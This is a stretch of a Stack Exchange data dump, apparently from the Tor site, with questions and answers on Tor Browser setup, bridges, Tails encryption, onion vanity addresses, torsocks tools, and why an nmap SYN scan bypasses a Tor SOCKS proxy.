  <row Id="20984" PostTypeId="2" ParentId="318" CreationDate="2020-03-11T21:07:17.143" Score="0" Body="&lt;h1&gt;For Linux Distros&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/micahflee/torbrowser-launcher&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Securely and easily download, verify, install, and launch Tor Browser in Linux&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is recommended to install via Flatpak or PPA instead of default OS package manager if you want the latest updates. See the repo README for up-to-date installation instructions. &lt;/p&gt;&#xA;" OwnerUserId="28816" LastActivityDate="2020-03-11T21:07:17.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20985" PostTypeId="2" ParentId="20982" CreationDate="2020-03-12T07:47:36.563" Score="2" Body="&lt;p&gt;It works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LD_LIBRARY_PATH=~/tor-browser/Browser/TorBrowser/Tor ~/tor-browser/Browser/TorBrowser/Tor/tor --defaults-torrc ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc-defaults -f ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc --DataDirectory ~/tor-browser/Browser/TorBrowser/Data/Tor --GeoIPFile ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip --GeoIPv6File ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip6 --SocksPort 9170&lt;/p&gt;&#xA;" OwnerUserId="28813" LastActivityDate="2020-03-12T07:47:36.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20986" PostTypeId="1" CreationDate="2020-03-13T07:27:52.467" Score="0" ViewCount="674" Body="&lt;p&gt;I am trying to get ip address from darknet onion url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;import subprocess &#xA;import ipaddress &#xA;for ip in ipaddress.IPv4Network('5.0.0.0/24'): &#xA;subprocess.call([&quot;tor-resolve&quot;, &quot;-x&quot;, ip])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not getting correct thing, this is error also.&#xA;who is there for helping me?&lt;/p&gt;&#xA;" OwnerUserId="28823" LastActivityDate="2020-03-13T07:27:52.467" Title="how to get ip address from onion url using python" Tags="|torsocks|python|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="20987" PostTypeId="1" CreationDate="2020-03-13T17:33:00.363" Score="0" ViewCount="26" Body="&lt;p&gt;There is an odd problem with my connection speed that i want to know what is causing that .&#xA;In my country as many other countries TOR is illegal also filtered and i was connecting through bridges but there is a problem in speed in certain time periods.&#xA;Simply in my country with UTC +3:30 time offset from 8 to 12 pm for about like 5 months whenever i want to connect to any bridges it takes time and speed is very awful at those moments but after 1 or 2 pm speed gets back to normal . I am wondering what causing this ?&#xA;Can you help me about this ?&#xA;Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="27244" LastActivityDate="2020-03-13T17:33:00.363" Title="Connection speed problem" Tags="|directory|speed|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20990" PostTypeId="1" CreationDate="2020-03-17T16:39:34.903" Score="0" ViewCount="121" Body="&lt;p&gt;Ive had this idea for some time, in which I want to make a TOR browser, or just an onion browser.However,  I cannot find any good information online. If you are able to make your own onion browser, can somebody how to? I know how a a onion browser works, and advanced programming knowledge. &lt;/p&gt;&#xA;" OwnerUserId="28842" LastActivityDate="2022-04-12T04:09:40.817" Title="Is it possible to make a tor browser" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20991" PostTypeId="2" ParentId="15505" CreationDate="2020-03-17T17:54:35.567" Score="0" Body="&lt;p&gt;bit defender does block this, to get round it. &#xA;open bit defender, there will be a 'notification' &#xA;saying 'application access blocked'&#xA;if you select that you can 'View application'  (which will be TORbrowser. then on that page (top right by the dustbin icon) there will be a switch you can turn on to enable the application to have access to the protected profile stuff.&lt;/p&gt;&#xA;" OwnerUserId="28843" LastActivityDate="2020-03-17T17:54:35.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20992" PostTypeId="1" AcceptedAnswerId="20993" CreationDate="2020-03-18T00:40:06.917" Score="0" ViewCount="150" Body="&lt;p&gt;I was looking through allot of the details with the hidden services. One answer was done very well and explained allot, which I have linked below. I wasn't sure on exactly how the intro can correlate a hidden service to their ip however. If the hidden service gives the public key then isn't it possible for the intro to also know the hidden service domain at some point and correlate the 2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;br&gt;&#xA;1. hidden service gives public key to intro.&lt;br&gt;&#xA;2. intro saves public key as variable name for the ip.&lt;br&gt;&#xA;3. months later the intro comes across a blank.onion which they get a public key from.&lt;br&gt;&#xA;4. they correlate that with the public keys they have and suddenly have the ip of blank.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work/674#674&quot;&gt;How do onion addresses exactly work?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28847" LastEditorUserId="28847" LastEditDate="2020-03-18T00:54:07.893" LastActivityDate="2020-03-18T03:08:18.123" Title="Hidden Services can intros correlate IP with .onion?" Tags="|onion-services|onion-routing|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20993" PostTypeId="2" ParentId="20992" CreationDate="2020-03-18T03:08:18.123" Score="1" Body="&lt;p&gt;The introduction point never learns the IP address of the onion service. The onion service builds a 3-hop circuit to the introduction point in order to stay anonymous, just like clients build 3-hop circuits. Also, the answer you linked to was for V2 onion services. Since then Tor has added support for &lt;a href=&quot;https://blog.torproject.org/tors-fall-harvest-next-generation-onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;V3 onion services&lt;/a&gt; which provide much better security/privacy for onion services.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-18T03:08:18.123" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20994" PostTypeId="2" ParentId="19427" CreationDate="2020-03-18T16:37:03.603" Score="0" Body="&lt;p&gt;This answer depends on the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on Linux, I would create a crontab every X minutes to check if Tor Browser is running and if it is being used. I'm not entirely sure how you would do that though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, if the unused time &gt; X minutes, then kill $torprocess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would check with &lt;a href=&quot;https://unix.stackexchange.com/&quot;&gt;https://unix.stackexchange.com/&lt;/a&gt; for suggestions on how to tell if a browser window has been unused for a certain length of time. It would be the same in Firefox as for Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Windows or Mac, sorry no idea.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-18T16:37:03.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20996" PostTypeId="1" AcceptedAnswerId="21020" CreationDate="2020-03-19T07:12:27.053" Score="3" ViewCount="444" Body="&lt;p&gt;I run a relay in my home network. The relay runs on my router (self build opnsense machine). &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/AB6D72C01C54B5D6E7BF640BA93DC8F49BE1C5F6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Details of my relay&lt;/a&gt; indicate that initially it progressed the usual &lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;live cycle of a relay&lt;/a&gt;. Then all connections drop. Consensus rates dropped and it stopped being chosen as guard. It changes to &lt;code&gt;Unmeasured&lt;/code&gt; Nothing has been changed on the end of configuration or internet connection. The advertised bandwidth stayed roughly the same (I have 200MBit cable and ususally do get the full speed; the relay is not restricted on bandwidth-use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In comparison: a relay that I ran until July last year with the same configuration never suffered this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is dearly appreciated! Thank you.&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2020-04-05T09:01:02.167" Title="Relay remains unmeasured for over 30 days" Tags="|relays|connection|flags|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20997" PostTypeId="1" AcceptedAnswerId="21000" CreationDate="2020-03-19T07:33:38.353" Score="4" ViewCount="2686" Body="&lt;p&gt;I want to use an external application with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find 4 different commands for that, and I am not sure about their relations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://linux.die.net/man/1/usewithtor&quot; rel=&quot;nofollow noreferrer&quot;&gt;usewithtor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://linux.die.net/man/1/torify&quot; rel=&quot;nofollow noreferrer&quot;&gt;torify&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tsocks.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tsocks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/torsocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;torsocks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the relation between those 4 commands/applications?&lt;/p&gt;&#xA;" OwnerUserId="12333" LastActivityDate="2020-03-19T16:37:41.667" Title="What's the difference between torify, usewithtor, tsocks and torsocks?" Tags="|socks|torsocks|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20998" PostTypeId="1" CreationDate="2020-03-19T12:26:39.083" Score="0" ViewCount="2833" Body="&lt;p&gt;I've gathered that persistent storage in Tails uses LUKS, but I can't find the specifics of the encryption, e.g. the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the Tails website and other various places is scant with details. The most in-depth page on Tails' website that I've found &lt;a href=&quot;https://tails.boum.org/contribute/design/persistence/#index1h4&quot; rel=&quot;nofollow noreferrer&quot;&gt;is this one&lt;/a&gt;, and it just says that it uses LUKS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;tails-persistence-setup --verbose&lt;/code&gt; didn't mention LUKS or any specifics at all really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried peeking at the source code, but it's written in Perl (which I'm not familiar with). The furthest I got in following the logic of the source code &lt;a href=&quot;https://git.tails.boum.org/persistence-setup/tree/lib/Tails/Persistence/Setup.pm#n575&quot; rel=&quot;nofollow noreferrer&quot;&gt;is to this here line&lt;/a&gt; which I think is just before the encrypted filesystem is created in &lt;code&gt;udisks_service&lt;/code&gt; or &lt;code&gt;Format&lt;/code&gt; or something (I don't know Perl).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for instances of &quot;aes&quot;, &quot;twofish&quot;, &quot;serpent&quot;, &quot;128&quot;, &quot;256&quot;, &quot;512&quot;, &quot;xts&quot;, &quot;cbc&quot;, and &quot;luks&quot; in the files &lt;a href=&quot;https://git.tails.boum.org/persistence-setup/tree/lib/Tails/Persistence/&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this source directory&lt;/a&gt; and its sub-directories (&lt;code&gt;/usr/share/perl5/Tails/Persistence&lt;/code&gt; on the Tails filesystem), but nothing fruitful came of it. I can't find the details of persistence encryption anywhere in the Tails source code or on Tails while it's running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the answer pls spill the beans&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: After more digging, I found this sentence &lt;a href=&quot;http://storaged.org/doc/udisks2-api/latest/gdbus-org.freedesktop.UDisks2.Block.html#gdbus-method-org-freedesktop-UDisks2-Block.Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the UDisks reference manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the option encrypt.passphrase is given then a LUKS device is created with the given passphrase and the file system is created on the unlocked device. The unlocked device will be left open. This parameter can be used to supply the binary contents of an arbitrary keyfile by passing a value of type “ay”. Option encrypt.type can be used to specify encryption &quot;technology&quot; that will be used. Currently only “luks1” and “luks2” are supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The option &lt;code&gt;encrypt.passphrase&lt;/code&gt; is given &lt;a href=&quot;https://git.tails.boum.org/persistence-setup/tree/lib/Tails/Persistence/Setup.pm#n570&quot; rel=&quot;nofollow noreferrer&quot;&gt;in Setup.pm&lt;/a&gt;, so &lt;code&gt;encrypt.type&lt;/code&gt; is either &quot;luks1&quot; or &quot;luks2&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the udisks source, &lt;a href=&quot;https://github.com/storaged-project/udisks/blob/master/src/udiskslinuxblock.c#L3226&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is where the encryption happens&lt;/a&gt;. But right now I still don't know what &quot;luks1&quot; and &quot;luks2&quot; mean for encryption specs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: Running this command gave some information about a persistent storage created on Tails 4.4: &lt;code&gt;sudo cryptsetup status luks*&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  type:    LUKS1&#xA;  cipher:  aes-xts-plain64&#xA;  keysize: 512 bits&#xA;  key location: dm-crypt&#xA;  sector size:  512&#xA;  offset:  4096 sectors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28857" LastEditorUserId="28857" LastEditDate="2020-03-21T00:54:26.123" LastActivityDate="2023-10-29T11:02:20.260" Title="What encryption does Tails use for persistent storage?" Tags="|tails|encryption|persistent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20999" PostTypeId="2" ParentId="9108" CreationDate="2020-03-19T13:45:22.547" Score="0" Body="&lt;p&gt;When I find .html bookmark file to import it does not appear in TOR.   If people cannot migrate their bookmarks, they won't be likely to want to change browsers, so this is critical function to work properly.&lt;/p&gt;&#xA;" OwnerUserId="28858" LastActivityDate="2020-03-19T13:45:22.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21000" PostTypeId="2" ParentId="20997" CreationDate="2020-03-19T16:37:41.667" Score="3" Body="&lt;p&gt;Most of the links you posted state the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use torsocks.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tsocks.sourceforge.net/about.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;tsocks&lt;/a&gt;: Allows non-SOCKS aware applications to use a SOCKS proxy. No longer maintained.&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tsocks' role is to allow these non SOCKS aware applications (e.g telnet, ssh, ftp etc) to use SOCKS without any modification.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/torsocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;torsocks&lt;/a&gt;: Similar to tsocks but designed for Tor specifically.&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Torsocks is the successor of tsocks and is still actively maintained.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://manpages.debian.org/testing/tor/torify.1.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;torify&lt;/a&gt;: Does different things depending on where you get it from. Old versions tried to use torsocks if available, and if not, use tsocks. As tsocks is not recommended, torify now wraps torsocks.&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;torify is a simple wrapper that calls torsocks with a tor-specific configuration file. It is provided for backward compatibility; instead you should use torsocks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;usewithtor: Uses torsocks with a default configuration. You should no longer use this as torsocks now does this directly. No longer maintained.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-19T16:37:41.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21001" PostTypeId="1" CreationDate="2020-03-19T18:03:38.173" Score="0" ViewCount="2827" Body="&lt;p&gt;There are simply two ways to get tor bridges:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;sending an email to &lt;code&gt;bridges@torproject.org&lt;/code&gt; with an empty subject and &lt;code&gt;get transport obfs4&lt;/code&gt; as body&lt;/li&gt;&#xA;&lt;li&gt;using &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't receive bridges using either of these ways. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor autoresponder doesn't respond to my emails (I use my gmail account)&lt;/li&gt;&#xA;&lt;li&gt;BridgeDB blocks me by it's captcha no matter how many times i solve the captcha it loads another one and doesn't allow me to pass.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Edit April, 2020&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Can't get responds from autoresponder. BridgeDB works as expected.&#xA;There is certainly some issues with the autoresponder. &lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="21351" LastEditDate="2020-04-06T07:57:04.587" LastActivityDate="2022-12-21T11:08:51.157" Title="Unable to get tor bridges" Tags="|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21002" PostTypeId="2" ParentId="21001" CreationDate="2020-03-20T17:28:58.753" Score="0" Body="&lt;p&gt;Could you try this one more time please? It seems to be working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;USING MOAT&#xA;If you're starting Tor Browser for the first time, click 'Configure' to open the Tor Network Settings window. Otherwise, click on 'Preferences' in the hamburger menu (main menu) and then on 'Tor' in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor Network Settings window, select 'Tor is censored in my country.' Then, select 'Request a bridge from torproject.org' and click 'Request a bridge...'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complete the CAPTCHA and click 'Submit'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://tb-manual.torproject.org/bridges/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/bridges/&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-20T17:28:58.753" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21003" PostTypeId="2" ParentId="20998" CreationDate="2020-03-20T18:01:07.240" Score="0" Body="&lt;p&gt;Here's the information that Tails produces on encryption. You have the choice between &lt;a href=&quot;https://tails.boum.org/doc/encryption_and_privacy/encrypted_volumes/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;LUKS&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org/doc/encryption_and_privacy/veracrypt/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;VeraCrypt&lt;/a&gt;. Both links contain a table on the Pros and Cons of each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;, &quot;LUKS is designed to conform to the TKS1 secure key setup scheme.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also According to &lt;a href=&quot;https://en.wikipedia.org/wiki/VeraCrypt#Encryption_scheme&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Algorithms Individual ciphers supported by VeraCrypt are AES,&#xA;  Serpent, Twofish, Camellia, and Kuznyechik. The Magma cipher was&#xA;  removed in version 1.19 in response to a security audit.[11]&#xA;  Additionally, ten different combinations of cascaded algorithms are&#xA;  available: AES–Twofish, AES–Twofish–Serpent, Camellia–Kuznyechik,&#xA;  Camellia–Serpent, Kuznyechik–AES, Kuznyechik–Serpent–Camellia,&#xA;  Kuznyechik–Twofish, Serpent–AES, Serpent–Twofish–AES, and&#xA;  Twofish–Serpent.[12] The cryptographic hash functions available for&#xA;  use in VeraCrypt are RIPEMD-160, SHA-256, SHA-512, Streebog and&#xA;  Whirlpool/&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-20T18:01:07.240" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21005" PostTypeId="1" CreationDate="2020-03-21T14:47:46.433" Score="0" ViewCount="139" Body="&lt;p&gt;As the title says, I am unable to use a custom v3 address generated with mkp224o. My hidden service is in /var/lib/tor/nginx. The contents of the nginx folder:&#xA;authorized_clients (folder)&#xA;hostname&#xA;hs_ed25519_public_key&#xA;hs_ed25519_secret_key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced the files in the nginx folder with the generated files and it didn't work as I was not able to connect and I restarted everything that was possible. After this, I deleted the whole nginx folder and rebooted everything. I updated the domain name in nginx and the website worked with a default generated address. Then I tried to delete everything in nginx and replace contents with the generated files. Still doesn't work. What do you think might be the issue? It's not related to nginx as I update the domain name and all the settings in the config.&lt;/p&gt;&#xA;" OwnerUserId="28866" LastActivityDate="2022-04-17T06:23:35.877" Title="Cannot use custom v3 address generated with mkp224o" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21006" PostTypeId="1" CreationDate="2020-03-22T02:27:56.993" Score="0" ViewCount="1077" Body="&lt;p&gt;I would like to know what is the procedure for installing a custom onion v3 address into a Tor hidden service. Are there any significant differences when using nginx on Ubuntu?&lt;/p&gt;&#xA;" OwnerUserId="28868" LastActivityDate="2022-04-12T00:04:45.473" Title="What is the procedure for installing a custom onion v3 address into a Tor hidden service?" Tags="|onion-services|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21007" PostTypeId="2" ParentId="21006" CreationDate="2020-03-22T16:42:19.783" Score="0" Body="&lt;p&gt;The procedure is basically brute force name generation. Lets say that I want jsevans... as the beginning of my onion address. I would then generate a bunch of onion names until I get one that matches what I want. Here's the thing, it is an exponentially slow process. Maybe I get one that starts with &quot;j&quot; in the first minute and one that starts with &quot;js&quot; in the first 5 minutes, then &quot;jse&quot; in the first hour, then &quot;jsev&quot; 3 hours later, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are scripts that can do this for you. How long it takes is dependent on your computer. I probably wouldn't try more than 3-4 letters on something like a Raspberry Pi. Trying to get a completely custom name could literally take years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has nothing to do with your web server or your Linux distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://www.jamieweb.net/blog/onionv3-vanity-address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; for suggestions but if you have trouble with his program, put in a request to them directly because this isn't something that sponsored by Tor and is just one person's project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the link that I posted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For 21 days, my Raspberry Pi cluster has been running mkp224o in order&#xA;  to generate a vanity address for my new Tor Onion v3 Hidden Service.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It isn't as good as last time, but I have chosen:&#xA;  jamie3vkiwibfiwucd6vxijskbhpjdyajmzeor4mc4i7yopvpo4p7cyd.onion&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So that's 21 days to generate 5 letters. Keep that in mind!&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-22T16:42:19.783" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21008" PostTypeId="1" CreationDate="2020-03-22T19:03:33.773" Score="0" ViewCount="384" Body="&lt;p&gt;(There's a few I2P questions on this Stackexchange so I hope this is allowed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's a lot of concern about running Javascript on Onion sites, but I'm wondering is it possible at all to run an Eepsite with Javascript enabled?&lt;/p&gt;&#xA;" OwnerUserId="28840" LastActivityDate="2020-03-22T19:10:39.293" Title="Can I2P sites run Javascript?" Tags="|javascript|i2p|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21009" PostTypeId="2" ParentId="21008" CreationDate="2020-03-22T19:10:39.293" Score="1" Body="&lt;p&gt;There's nothing inherently bad about javascript on tor or i2p, but there is a concern about using badly written javascript. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using good code that doesn't 1. give away your personal information and 2. doesn't try to steal your visitor's personal information, then there's nothing wrong with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not a web developer and you want to use some random javascript from the web that you don't know what it does, then it is suggested that you use caution because it might not do what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, javascript should be like adding salt to your food. A little is OK but too much is disgusting. If your site isn't functional without javascript, it's too much. Expect people to be visiting with javascript turned off. If that means that they can't use your site, then you should consider not having so much.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-22T19:10:39.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21010" PostTypeId="1" CreationDate="2020-03-22T19:45:55.760" Score="0" ViewCount="521" Body="&lt;p&gt;I have got a vps for test nmap over tor. I installed psad on the vps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where 9050 port is listening (my desktop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; roto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program &#xA; name    &#xA; tcp        0      0 localhost:9050          0.0.0.0:*               LISTEN      -                   &#xA; tcp        0      0 host.****.****:40966    tor-proxy-03.for-p:9002 ESTABLISHED -              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the nmap options I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nmap --proxy socks4://127.0.0.1:9050 -sS -Pn 123.66.98.2 -p22,5555,6666,7777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note -Pn ( no icmp )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I test my ip and it works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -x socks4://127.0.0.1:9050  ifconfig.io&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is what psad returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 22 20:33:59 vm5656.server.net psad[14413]: src: 75.xx.xxx.2 signature match: &#xA;&quot;P2P Napster Client Data communication attempt&quot; (sid: 563) tcp port: 6666&#xA;Mar 22 20:33:59 vm5656.server.net psad[14413]: src: 75.xx.xxx.2 signature match: &#xA;&quot;P2P Napster Client Data communication attempt&quot; (sid: 564) tcp port: 5555&#xA;Mar 22 20:33:59 vm5656.server.net psad[14413]: src: 75.xx.xxx.2 signature match: &#xA;&quot;P2P Napster Client Data communication attempt&quot; (sid: 562) tcp port: 7777&#xA;Mar 22 20:33:59 vm5656.server.net psad[14413]: scan detected (Nmap -sT or -sS &#xA;scan): 75.xx.xxx.2 -&amp;gt; 123.66.98.2 tcp: [5555-7777] flags: SYN tcp pkts: 9 DL: 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The psad can read my real ip 75.xx.xxx.2 and I don't understand &#xA;maybe the wrong option on nmap&#xA;Can yo help me ?Thanks&lt;/p&gt;&#xA;" OwnerUserId="28871" LastActivityDate="2020-03-22T20:55:17.543" Title="Test nmap over tor with psad" Tags="|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21011" PostTypeId="2" ParentId="21010" CreationDate="2020-03-22T20:55:17.543" Score="1" Body="&lt;p&gt;Tor cannot help you perform a SYN scan. Tor anonymizes client TCP connections and a SYN scan does not establish a full TCP connection. In this case nmap does not use your SOCKS proxy at all as it does not establish any TCP connections.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-22T20:55:17.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
